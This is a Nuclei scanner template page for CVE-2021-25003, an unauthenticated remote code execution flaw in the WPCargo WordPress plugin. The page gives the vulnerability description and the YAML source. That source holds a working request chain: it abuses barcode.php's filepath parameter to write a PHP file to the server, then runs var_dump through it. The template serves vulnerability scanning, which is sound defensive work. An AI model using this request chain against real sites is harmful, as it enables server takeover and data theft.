Skip to content
Nuclei Templates

WordPress WPCargo Track & Trace <6.9.0 - Remote Code Execution

ID: CVE-2021-25003

Severity: critical

Author: theamanrawat

Tags: cve2021,cve,rce,wpcargo,unauth,wordpress,wp,wp-plugin,wpscan,intrusive,wptaskforce

Description

Section titled “Description”

WordPress WPCargo Track & Trace plugin before 6.9.0 is susceptible to remote code execution, The plugin contains a file which can allow an attacker to write a PHP file anywhere on the web server, leading to possible remote code execution. This can allow an attacker to execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2021-25003


info:
  name: WordPress WPCargo Track & Trace <6.9.0 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress WPCargo Track & Trace plugin before 6.9.0 is susceptible to remote code execution, The plugin contains a file which can allow an attacker to write a PHP file anywhere on the web server, leading to possible remote code execution. This can allow an attacker to execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.
  remediation: |
    Update to the latest version of the WPCargo Track & Trace plugin (6.9.0 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
    - https://wordpress.org/plugins/wpcargo/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25003
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25003
    cwe-id: CWE-434,CWE-94
    epss-score: 0.61181
    epss-percentile: 0.97795
    cpe: cpe:2.3:a:wptaskforce:wpcargo_track_\&_trace:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wptaskforce
    product: wpcargo_track_\&_trace
    framework: wordpress
  tags: cve2021,cve,rce,wpcargo,unauth,wordpress,wp,wp-plugin,wpscan,intrusive,wptaskforce
variables:
  num: "999999999"


http:
  - raw:
      - |
        GET /wp-content/plugins/wpcargo/includes/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath={{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-content/plugins/wpcargo/includes/{{randstr}}.php?1=var_dump HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        2={{md5(num)}}


    matchers:
      - type: dsl
        dsl:
          - status_code_1 != 200
          - status_code_2 == 200
          - status_code_3 == 200
          - contains(body_3, md5(num))
          - contains(body_3, 'PNG')
        condition: and
# digest: 4a0a004730450221009d2aa668f662006f1279352877813296ff6e69913f92b4bf4b4dc318aa2b293c022034ceffe584f46b4066ad2deb5c6baaabf1126051c2d6a30b2a64cb15afedc466:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25003.yaml"

View on Github